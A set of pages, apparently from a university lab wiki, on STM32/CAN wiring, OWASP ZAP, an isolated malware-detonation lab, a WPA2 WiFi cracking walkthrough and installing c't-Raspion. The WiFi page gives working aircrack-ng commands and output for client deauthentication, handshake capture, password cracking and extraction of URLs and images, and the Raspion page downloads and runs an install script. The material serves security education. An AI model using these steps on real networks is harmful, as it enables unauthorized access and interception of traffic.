The STM32F407G-DISC1 microcontroller board, featured in this guide, is a powerful and versatile device designed to seamlessly interface with the MCP2515 CAN controller for efficient communication on a Controller Area Network (CAN). Equipped with an ARM Cortex-M4 core, the STM32F407G-DISC1 provides robust processing capabilities. Its integrated SPI interface enables seamless communication with the MCP2515, facilitating the exchange of data over the CAN bus. This microcontroller board offers ample resources, including multiple GPIO pins, timers, and communication peripherals. With its compatibility with the SPI protocol, it proves to be an ideal match for the MCP2515 in CAN communication scenarios.

== Setup ==
When programming the STM32 microcontroller, utilizing Visual Studio Code (VS Code) with the STM32 for VS Code extension proves to be a preferable choice over CubeIDE. The rationale behind this preference lies in the more contemporary and streamlined development environment offered by VS Code. Compared to CubeIDE, which some developers might find outdated, sluggish, and less visually appealing, VS Code provides a modern interface that enhances the overall coding experience. The clean and efficient design of VS Code contributes to a faster and more user-friendly development process. The STM32 for VS Code extension streamlines STM32 development by automatically installing essential tools such as OpenOCD, the ARM GCC-arm-none-eabi toolchain, and Make. This eliminates manual setup, ensuring a consistent development experience across Windows, macOS, and Linux. The extension's automated tool installation enhances accessibility and usability for developers, allowing them to concentrate on their projects rather than configuration details.

=== Manual Project Creation ===
==== CubeMX ====
[[File:CubeMX.PNG|800px|thumb|right]]
STM32CubeMX simplifies peripheral configuration, generates initialization code, and visualizes pinouts. It eases USB stack integration, a valuable feature for projects involving USB communication. While not mandatory, CubeMX streamlines hardware and middleware setup, saving time and minimizing errors.

Peripheral Activation:

Navigate to the "Connectivity" tab.
Activate the SPI peripheral under the specific SPI configuration that corresponds to your project.
SPI Baud Rate and Configuration:

Within the selected SPI configuration, locate the baud rate setting.
Set the baud rate to a maximum of 10 Mbps, adhering to the MCP2515's limit.
Confirm the CPOL (Clock Polarity) and CPHA (Clock Phase) configurations, selecting either CPOL low and CPHA 1 edge or CPOL high and CPHA 2 edges.

Check for a "Data Configuration" tab within the SPI settings.
Set the data size to 8 bits with MSB (Most Significant Bit) first.

USB Middleware Integration:

Navigate to the "Connectivity" tab.
Access the "USB_OTG_FS" configuration.
Set the USB mode specifically to "Device only."
USB Middleware Configuration:

Navigate to the "Middleware" tab.
Configure the USB middleware settings under "USB_DEVICE."
Select the exact class required, such as "Class for FS IP Virtual Port Com."
By following these precise steps in your development environment, you can efficiently configure the SPI and USB settings for your STM32 microcontroller project.

=== Clone Project ===
If one is using the STM32F407G-Disc1 it is also possible to simply clone this repository: https://github.com/Chronikle135/STM32F407G-DISC1_CAN.git

=== Wiring ===
[[File:Wiring_STM32F407G-Disc1_MCP2515.png|600px|right]]
The wiring can be done as shown in figure but is dependent on the configured pins. It is important to connect the MOSI pin on the microcontroller to the SI pin of the CAN controller. Same goes for the MISO and SO pin. The interrupt pin can be neglected.

== Code ==
The basis of this implementation is the standard device driver from Microchip Technology Inc., accessible [https://www.microchip.com/en-us/product/MCP2515#document-table here]. This driver has been further adjusted and made compatible with a standard C library by [https://github.com/eziya/STM32_SPI_MCP2515 this GitHub repository]. To use this code, it is necessary to initialize the driver with the <code>CANSPI_Initialize()</code> function. Following this, messages can be read using the <code>CANSPI_Receive(&rxMessage)</code> function, which automatically checks the two receiver buffers and retrieves the values from them. If one intends to transmit a message, it can be achieved by utilizing the <code>CANSPI_Transmit(&txMessage)</code> function, which takes a buffer loaded with a pre-assembled message. This message frame should look like this:

<pre>
typedef union
{
struct
{
uint8_t idType;
uint32_t id;
uint8_t dlc;
uint8_t data0;
uint8_t data1;
uint8_t data2;
uint8_t data3;
uint8_t data4;
uint8_t data5;
uint8_t data6;
uint8_t data7;
} frame;
uint8_t array[14];
} uCAN_MSG
</pre>
=== Filter and masks ===
Out of the box every filter is set to zero, so every message is accepted. Therefore it is possible to sniff the traffic which occurs in the systems. To reduce the load on single CAN nodes one can adjust the filters and masks with the <code>MCP2515_WriteByteSequence()</code> command where the corresponding registers and values that are required should be passed. These can be looked up [https://ww1.microchip.com/downloads/aemDocuments/documents/APID/ProductDocuments/DataSheets/MCP2515-Family-Data-Sheet-DS20001801K.pdf in this datasheet]

[[Category:Documentation]]

OWASP ZAP

2024-03-12T17:50:01Z

Ikramer:

== Introduction ==
=== About ===
ZAP is short for Zed Attack Proxy. Before we delve into the details as to what this means, what it is about, why it was created and what it can be used for, let us start by having a look at the ''principles of ZAP'' first for a better understanding.

The principles are:
* It is free and open source, so anyone can access and use it.
* It is cross-platform (Windows, Linux, macOS, Docker)
* It is newcomer friendly, but offers advanced and more complex functions as well.
* It is easy to install; it requires Java Runtime Environment, but everything else is included in standard downloads.
* It is fully internationalized, i.e., it has been translated to many other languages.
* It is fully documented, meaning it has a set of useful documents and helpline files are included.
* It works well with additional third-party tools. For example: Automation
* It supports the use of well-regarded components.
These principles can be seen as the motivation behind ZAP. To summarize, it is designed to give everyone interested in web security the chance to easily run security tests, without depending on paid software or advanced skills.
OWASP (Open Web Application Security Project) is a non-profit organization that publishes freely-available articles and aside from tools like ZAP, they also provide documentation and technologies, that deal with web application security. Many security publications refer to the OWASP publications. An example is the OWASP Top 10, which is looking at the biggest security risks for organizations. OWASP Top 10 will be covered in more detail in another chapter.
They also offer a testing guide as well as a development guide, offering best practice information to those interested, and many more interesting resources.

=== Description ===
ZAP’s focus is on testing web applications. The core idea behind it, is a ”Man-in-the-Middle proxy” that is placed between the client's browser and the web application. HTTP requests and responses can be intercepted, inspected and even modified before they are forwarded to their actual destination.
There are different ways to run ZAP, it is possible to use it as a stand-alone application (Java 8+ is required) or as a daemon process.

Additionally, it is possible to run ZAP in combination with another proxy, e.g. if a company runs their web traffic through their own proxy or firewall solution first. In this case we configure our browser to connect to ZAP and then we can configure ZAP to connect to the proxy of the company.

There are various Add-ons, as well as an API, which enhance the functionality and features of ZAP.
As stated in the principles, ZAP targets all skill levels. Beginning with those who are new to security testing, who are likely to start out using automated tests, to developers that run security tests for a living and which make use of a variety of features including manual tests. The flexibility and extensibility (via add-ons in the ZAP marketplace) that ZAP provides, makes it a popular choice among security testers.
Since we’re talking about security, to a lot of people, it is also important to know what their security tools really can do. ZAP is open source and code examination is possible. If desired, one can look at how certain functions are implemented. The developers are transparent about which data ZAP is collecting (e.g. checks for new versions) and also how that background data can be controlled or even disabled (where possible).
The ZAP community is also very open to new developers, anyone can submit bug fixes or create additional features for ZAP.

==How-To==
===Installation===
[[File:Zap-installation.png|thumb|ZAP Installation]]

First, go to the [https://www.zaproxy.org/download/ Download section on the official website for ZAP] and select the installer for your operating system.

Additionally, Java version 11 or higher must be installed. There are no additional requirements.

=== Test target ===
If you want to try out the features of ZAP and do not want to set up your own server, you can find places like [https://public-firing-range.appspot.com/ Firing Range], which is a free-to-use online installation of Google's Firing Range. Alternatively, an online accessible OWASP Juice Shop instance like the [//juice-shop.herokuapp.com official one] can be used to try out and learn ZAP. Do NOT run active features of ZAP against public websites without permission, you might alter data and this kind of attack can be prosecuted!

===Persistent Sessions===
[[File:Zap-persist session.png|thumb|ZAP Session Persistence]]
After opening ZAP you are asked if you want to persist the session.
ZAP is able to save its sessions. In other words, collected and analyzed data from web applications are saved. It enables the user to continue their analysis of the web application without the need to reach the web application.
Caution is advised. The more aggressive ZAP is attacking, the more data will be collected. A few minutes of scanning can result in hundreds of Megabytes.

===Modes===
ZAP has different modes to choose from:
* Safe: Only allows operations, that are not considered dangerous. Dangerous meaning, manipulating requests and attacking the web application
* Protected: This is the officially recommended mode. It allows dangerous operations, but only on URLs that were put in the Scope of our target or in other words, only selected sites will be attacked.
* Standard: ZAP is allowed to do anything to the web application
* ATTACK: ZAP actively scans new nodes as soon as they are discovered.

===Quick Start/Automated Scan===
[[File:Zap-quickstart.png|thumb|ZAP Quick Start]]
The easiest way to start using ZAP is via the Quick Start tab.
To run a Quick Start/Automated Scan:
* Start ZAP and click the Quick Start tab of the Workspace Window.
* Click the large Automated Scan button.
* In the URL to attack text box, enter the full URL of the web application you want to attack.
* Click the Attack button

===Manual Scan===
[[File:Zap-hud firefox.png|thumb|ZAP HUD Welcome Message]]
A manual scan can be done the following way:
* Start ZAP and click the Quick Start tab of the Workspace Window. (see above)
* Click the large Manual Explore button.
* In the URL to explore text box, enter the full URL of the web application you want to explore.
* Select the browser you would like to use
* Click the Launch Browser

Next, you will be presented with a welcome message that includes the HUD tutorial (see figure “ZAP HUD Welcome Message”)

=== Spider ===
[[File:Zap-spider.png|thumb|ZAP Spider]]
After starting an automated scan, the Spider tab opens up in ZAP. The Spider “crawls” through the web application and tries to find every page of the web application. Optionally, a more advanced AJAX spider
for AJAX-rich sites can be used.

===Add-ons===
There is a '''Marketplace''' for ZAP where extra Add-ons for ZAP can be found. These make it possible to extend the functionality of ZAP even further, and typically it is possible to add or remove them without restarting the ZAP application.
Usually, Add-ons are assigned one of the following states:
* Release: high-quality add-on
* Beta: reasonable quality but possibly incomplete or still requires testing • Alpha: requires further development

[[File:Zap-addons.png|thumb|Manage Add-ons]]
You can reach the marketplace by clicking on the blue-red-green squares symbol in the UI, it stands for “Manage Add-ons”.

===User Agent Settings===
If you go to ''Tools → Options → Connection'' in the ZAP GUI you can configure the Default User Agent (as in, which browser as well as operating system) that ZAP should pretend to be when connecting to websites. You may get different responses depending on this, especially older websites did have their own configurations for Internet Explorer that were unlike those for other browsers.

=== API ===
It is possible to interact with ZAP using its powerful Application Programming Interface (API), almost every feature that the GUI offers can be accessed via API and more features are being added with future versions. It also helps not only beginners that there is an [https://www.zaproxy.org/docs/api extensive documentation] for the API, giving examples for Shell script, Python and Java commands to run features.

Requests to the API are via GET and POST endpoints, responses are available in a variety of formats such as JSON, HTML and HTML but also custom formats such as HAR. The content of the response formats is always the same but the developer can select the format that best fits their use case depending on what they are looking for. There are recommendations given such as using HTML for good readability in reports, JSON or XML if one is looking to quickly parse the returned result.

It is also possible to use ZAP to scan APIs and even automate the scanning process for these API scans, using the same file formats we that we use for ZAP’s own API (JSON, etc.). However, the main problem with scanning APIs is the exploration, figuring out what to target and using which methods since most of the time browsing or spidering will not lead to useful results for APIs.

====Why is an API key required by default?====
Since ZAP can be controlled via API, we also must protect it from malicious sites or attackers that are looking to basically remotely control our ZAP installation or make changes to it. So it was decided to make the usage of an API key mandatory to hinder these attempts.

===Attack the OWASP Top 10 using ZAP===
One of the many guides found at the ZAP website is about how to attack the Top 10 security threats using ZAP.
The content of the following tables is taken from the [https://www.zaproxy.org/docs/guides/zapping-the-top-10-2021/ Zapping the Top 10 Guide].
The last OWASP Top 10 was 2017. The current OWASP Top 10 is from 2021, which has three new categories, with naming and scoping changes, and some combined vulnerabilities in the Top 10 for 2021.
More information about the Top 10 can be found on their [https://owasp.org/www-project-top-ten OWASP Top Ten Page].
[[File:OwaspTop10.png|thumb|none|upright=2.0|OWASP Top 10 2021]]

===Passive versus Active Scanning===
Passive scanning is considered safe and legal. It is used to find vulnerabilities without modifying requests nor malicious actions. It is also run in a background thread, so it does not negatively affect the performance when exploring an application.

Active Scanning is considered malicious and should only be used when verbal or written permission of the owner of the target web application is acquired. Active Scan is running by default in Standard and Attack Mode.

Limitations of a standard passive scan are that pages that require a login can not be accessed by ZAP, since the authentication will not be handled by ZAP. It is, however, possible to configure the functionality to authenticate. Another limitation is that the sequence in which a passive scan explores the target is pretty much uncontrollable. But ZAP offers a solution for almost every limitation, and that means there are many extra features in ZAP for exploring and attacking other than the passive scan. For exploring a site, we already mentioned spidering as a viable option, but we need to keep in mind that they also are rather limited when it comes to filling out forms. Forms may be filled with default data or random strings instead of the required information. So it is suggested that spidering is used in combination with manual exploration, so that an actual user can, for example, fill out form data if an error message is returned.

Another recommendation for exploration is to take a look at the web application with a browser proxying through ZAP. The benefit of this method is that all requests and responses undergo a passive scan by ZAP and a site tree is built. Additionally, ZAP will record potential vulnerabilities that it finds for future reference.

== Videos ==

A series of short videos (~10 mins each) about different ZAP features can be found both [https://www.zaproxy.org/zap-in-ten/ here] and [https://www.alldaydevops.com/zap-in-ten here].

== References ==
* [https://www.zaproxy.org/docs/ Official Documentation for ZAP]
* R. S. Devi and M. M. Kumar, "Testing for Security Weakness of Web Applications using Ethical Hacking," 2020 4th International Conference on Trends in Electronics and Informatics (ICOEI)(48184), Tirunelveli, India, 2020, pp. 354-361, doi: 10.1109/ICOEI48184.2020.9143018.[https://ieeexplore.ieee.org/document/9143018]

[[Category:Documentation]]

[[Category:Pentesting]]

Malware Lab: VM Setup and AWS EC2

2024-03-12T17:49:18Z

Ikramer:

The prerequisites for this guide are that you should have two virtual machine instances running on your hypervisor:

* Flare VM (Setup instructions: [[Flare VM Installation]])
* Remnux

The idea of this lab setup is to be able to detonate live malware on the Flare VM, while using the Remnux VM to observe network traffic. It is also important that we make sure the network is isolated from our host system. The ways of accomplishing this vary depending on which virtualization software you are using. But you must definitely create a new virtual internal network, and then place both virtual machines inside this network. Make sure it is a Host-Only network (VirtualBox). Note that you will not have internet access within that network - so if you need to download any tools, you may need to temporarily move the VMs to a NAT network, download the tools, and then move them back to the Host-Only network.

In the Remnux VM, we will run inetsim to simulate network services such as DNS. Inetsim can generally impersonate any kind of network service, but we will be using it for DNS.

<span id="configure-inetsim-to-impersonate-dns"></span>
== Configure Inetsim to impersonate DNS ==

To configure Inetsim to impersonate DNS, follow these steps:

<ol style="list-style-type: decimal;">
<li><p>Open a terminal in the Remnux VM.</p></li>
<li><p>Install Inetsim using the following command in case it is not already installed:</p>
<pre>sudo apt-get install inetsim</pre></li>
<li><p>Open the Inetsim configuration file using the following command:</p>
<pre> sudo nano /etc/inetsim/inetsim.conf</pre></li>
<li><p>Find the following line in the configuration file: <code>#start_service dns</code> and remove the comment (#) from the beginning of the line.</p></li>
<li><p>Find the following line in the configuration file: <code>service_bind_address</code> and set the IP address to <code>0.0.0.0</code>.</p></li>
<li><p>Find the <code>#dns_default_ip</code> line, remove the comment (#) from the beginning of the line, and set the IP address to the IP address of the Remnux VM.</p></li>
<li><p>Save the configuration file and exit the text editor.</p></li>
<li><p>Start the Inetsim service using the following command:</p>
<pre>sudo systemctl restart inetsim</pre></li></ol>

<span id="prepare-the-flare-vm-instance"></span>
== Prepare the Flare VM instance ==

In the Flare VM, we will detonate the malware samples and observe the network traffic using Wireshark.

<span id="configure-flare-vm-to-use-the-remnux-vm-as-the-dns-server"></span>
=== Configure Flare VM to use the Remnux VM as the DNS server ===

To configure Flare VM to use the Remnux VM as the DNS server, follow these steps:

# Search for Ethernet settings in the Windows search bar and click on “Change adapter options”.
# Click on the network connection and then click on “Properties”.
# Select “Internet Protocol Version 4 (TCP/IPv4)” and click on “Properties”.
# Set the DNS server to the IP address of the Remnux VM.
# Click “OK” to save the settings.

<span id="testing-the-lab-environment"></span>
== Testing the lab environment ==

To test the lab environment, follow these steps:

<ol style="list-style-type: decimal;">
<li><p>Test ping connectivity between the two VMs.</p></li>
<li><p>Run the following command to check if the DNS server is set correctly:</p>
<pre>nslookup google.com</pre>
<p>The output should show the IP address of the Remnux VM as the DNS server.</p></li>
<li><p>Run the following command to check if the network traffic is being captured by the Remnux VM:</p>
<pre> ping google.com</pre>
<p>Open Wireshark in the Remnux VM and check if the network traffic is being captured.</p></li>
<li><p>Download a malware sample to the Flare VM and detonate it.</p></li>
<li><p>Observe the network traffic in Wireshark in the Remnux VM to see if the malware is making any network connections.</p></li></ol>

IMPORTANT: Once you have it all set up, take a snapshot of the VMs. This way, you can restore the VMs to their original state after running malware samples. This can save you a lot of time and effort in the long run, as you won’t have to reinstall the VMs every time you run a malware sample.

<span id="automated-deployment-of-the-lab-environment-in-the-cloud"></span>
== Automated Deployment of the Lab Environment in the Cloud ==

If you don’t want to host the lab on your own machine, you can choose to deploy the malware lab on Amazon Web Services (AWS) - as shown later on in this article, the deployment process can also be automated using an IaC (Infrastructure-as-Code) approach with Terraform.

<span id="prerequisites"></span>
=== Prerequisites ===

Before you begin, you will need to have the following:

* An AWS account
* Terraform installed on your local machine (or use Windows Subsystem for Linux (WSL) if you are using Windows)

First, we need to manually recreate the Flare VM on AWS. In the case of AWS, FlareVM is best installed on a base Windows Server image. Be sure to allocate enough storage space for the VMs, especially for the Flare VM. For external access, you will need to use RDP to connect to the Flare VM. You might need to explicitly allow RDP access from any IP. AWS allows you to download the RDP file to connect to the Flare VM. AWS automatically puts a password on the Windows Server, which you can get by decrypting the password using the key pair you created when you launched the instance. Once you have the password, you can connect to the Flare VM using the RDP file.

Once connected to the Flare VM remote desktop, you need to go through the same steps as you would on a local machine to set up the Flare VM. Just use the provided scripts to install the tools and set up the environment.

After setting up Flare VM, you can use AWS to create an AMI (Amazon Machine Image) of the Flare VM. This will allow you to launch new instances of the Flare VM without having to go through the setup process again:

* Select the AWS instance of the Flare VM in the AWS Management Console.
* Click on “Actions” and then “Image and templates” and then “Create image”.
* Give the image a name and description and click “Create image”.

To later be able to launch instances of the AMI using Terraform, you will need to create a new role in AWS:

* Go to the AWS Management Console and search for “IAM”.
* Click on “Users” and then “Add user”.
* Groups: Create a new group and give it a name (e.g. EC-full-access). Under Permissions Policies, select “AmazonEC2FullAccess”.
* Add the user to the group and continue
* Create a Command-Line-Interface (CLI) access key and secret key for the user.

Now, you can continue with the Terraform deployment. For this, switch over to WSL or a Linux machine, as Terraform is not officially supported on Windows.

Update the repository and install Terraform, JQ and AWS-CLI using the following commands:

<pre>sudo apt-get update

sudo apt install jq

# Installation instructions for Terraform can be found here: https://developer.hashicorp.com/terraform/tutorials/aws-get-started/install-cli

sudo apt install awscli</pre>
Configure the AWS IAM user using the following command:

<code>aws configure</code>

Enter the access key, secret key, region (use the specific AWS region your node is deployed in) and output format when prompted.

Create a new directory for the Terraform configuration files and navigate to it:

<pre>mkdir malware-lab
cd malware-lab</pre>
For the Terraform configuration, there is a very useful Git repository that contains a Terraform template for deploying a malware lab on AWS. You can clone the repository using the following command:

<pre>git clone https://github.com/adanalvarez/AWS-malware-lab.git</pre>
It contains a base version of the Terraform configuration for deploying the malware lab on AWS. To specify further details for your deployment, you need to create a new file called “terraform.tfvars” in the malware-lab directory and specify the following variables:

<pre class="hcl">{
"environment": "malware-lab",
"ami": "ami-xxxxxxxxxxxxxxxxx",
"account" : "222222222222",
"region": "eu-west-1",
"enable_guacamole": false,
"enable_inetsim": true
}</pre>
In this case, Guacamole is used to provide remote access to the Flare VM, and Inetsim is used to simulate network services. If you want to enable these features, you can set the “enable_guacamole” and “enable_inetsim” variables to “true”.

Now, you must check which version of Terraform is installed on your machine. You can do this using the following command:

<code>terraform -v</code>

Then, open the main.tf file in the malware-lab directory and change the Terraform version to the version installed on your machine.

In the instances.tf file, you need to change the following:

* In the Linux instance for Inetsim, change the AMI id to a corresponding AMI id for Ubuntu Server 20.04 LTS.

Under <code>network.tf</code>, you also need to change the availability zone to the availability zone of your AWS instance.

Now, you can initialize the Terraform configuration using the following command:

<code>terraform init</code>

Then, you can deploy the malware lab using the following command:

<code>terraform apply</code>

This will deploy the malware lab on AWS. Once the deployment is complete, you can access the Flare VM using the RDP file provided by AWS. You can also access the Remnux VM using SSH.

The Terraform output will provide you with the public IP addresses of the Flare VM. Just like before, you can connect to the EC2 instance via RDP.

To destroy the malware lab, you can use the following command:

<code>terraform destroy</code>

This will destroy all the resources created by Terraform.

<span id="conclusion"></span>
== Conclusion ==

In this guide, we have set up a malware lab environment using two virtual machines: Flare VM and Remnux. We have configured Inetsim to impersonate DNS on the Remnux VM and set up the Flare VM to use the Remnux VM as the DNS server. We have also tested the lab environment by observing network traffic using Wireshark. Finally, we have automated the deployment of the lab environment on AWS using Terraform. This lab environment can be used to safely detonate live malware samples and observe their network behavior.

[[Category:Documentation]]

WiFi Sniffing

2024-03-12T17:45:33Z

Ikramer:

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types of authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng can be used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the dictionary used for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of a wireless client in the network: 34:B2:0A:7D:17:77
*BSSID: 68:02:B8:1F:A1:3A
*ESSID: WLAN18250073
*Channel used by AP: 11
*Wireless interface: wlan0mon

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listening to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionally, one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to be used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The output with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we don't know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Output:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitor mode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher, and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Output:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

Note:
In the top right corner, it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured it says: [WPA handshake: 68:02:B8:1F:A1:3A.#

Now the tool starts collecting every packet from this AP. It can take quite a while until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manually. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to a WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needs to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step, the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2: -w CapturedData).
One can use a dictionary which comes with aircrack-ng called "password.lst". Using the command:

aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap

-w password.lst is the used dictionary
-b is the BSSID of the AP
The wildcard at the end of CapturedData is because aircrack-ng created multiple files

The output looks as follows:

[00:00:00] 2 keys tested (36.20 k/s)

KEY FOUND! [ AKITs1!]

Master Key : <Master Key>

Transcient Key : <Transcient Key>

---------------------------------------------------------------
Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]
[[Category:Pentesting]]

Install c't'-Raspion on Raspberry PI

2024-03-12T17:44:45Z

Ikramer:

== Requirements ==
* Raspberry PI with Raspbian OS
* Internet connection

== Description ==

=== Step 1: System Update ===

In the command line interface enter:

sudo apt-get update && sudo apt-get upgrade

=== Step 2: Download ===
Download the latest version of Raspion:

wget ct.de/s/x5Pm -O raspion.zip

=== Step 3: Installation ===
Unzip:
unzip raspion.zip

Install:
cd raspion
./install.sh or bash install.sh

[[File:Install_Raspion.png]]

At the end of the installation there is the wifi name and password of the c't-Raspion.

=== Launch c't-Raspion web interface ===
Atfer connecting to the wifi of the c't'-Raspion go to http://<ip-address of your Raspberry-PI>:81

[[File:Raspion_webinterface.png]]

== Services of the c't-Raspion ==

=== Pi-hole ===
Pi-hole shows DNS-Requests. They can also be blocked.

In the figure below you can see how the DNS query is displayed. You can view information such as time, type, domain, client, etc.
[[File:Pi-hole.png]]

=== ntopng ===
They include the involved communication partners, the network protocol and information on duration and volume. ntopng does not show the contents of the packages. But it analyses the flows and provides information about which application is communicating, such as Skype, BitTorrent etc., and provides statistics.

Here we see an example of an overview of the system in ntopng. As you can see, it displays information about the CPU, RAM, Last Log Trace of ntopng and so on:
[[File:ntopng_system.jpeg|800px]]

